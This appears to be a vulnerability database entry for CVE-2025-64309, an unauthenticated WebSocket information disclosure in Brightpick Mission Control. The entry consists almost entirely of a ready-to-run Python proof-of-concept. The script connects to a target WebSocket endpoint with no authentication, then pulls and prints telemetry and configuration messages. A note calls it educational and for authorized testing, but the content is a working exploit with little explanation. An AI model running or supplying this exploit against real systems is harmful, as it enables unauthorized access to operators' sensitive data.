Brightpick Mission Control WebSocket信息泄露漏洞 (CVE-2025-64309)

#!/usr/bin/env python3 """ CVE-2025-64309 PoC - Brightpick Mission Control Information Disclosure This PoC demonstrates the WebSocket information disclosure vulnerability in Brightpick Mission Control. Note: This code is for educational and authorized testing purposes only. """ import asyncio import websockets import json import sys async def exploit(target_url): """ Connect to the vulnerable WebSocket endpoint and extract sensitive information. """ print(f"[*] Attempting to connect to {target_url}") print("[*] This vulnerability allows unauthenticated access to sensitive data\n") try: async with websockets.connect(target_url, ping_interval=None) as websocket: print("[+] Successfully connected to WebSocket endpoint") print("[+] No authentication required - vulnerability confirmed!") print("\n[*] Receiving telemetry and configuration data...\n") message_count = 0 while message_count < 10: try: data = await asyncio.wait_for(websocket.recv(), timeout=10) message_count += 1 print(f"[Message {message_count}]") print(json.dumps(json.loads(data), indent=2)) print("-" * 50) except asyncio.TimeoutError: print("[!] Timeout waiting for data") break except websockets.exceptions.ConnectionClosed as e: print(f"[!] Connection closed: {e}") except Exception as e: print(f"[!] Error: {e}") def main(): if len(sys.argv) < 2: target = "ws://target:port/vulnerable_endpoint" else: target = sys.argv[1] print("=" * 60) print("CVE-2025-64309 - Brightpick Mission Control Information Disclosure") print("=" * 60) asyncio.get_event_loop().run_until_complete(exploit(target)) if __name__ == "__main__": main()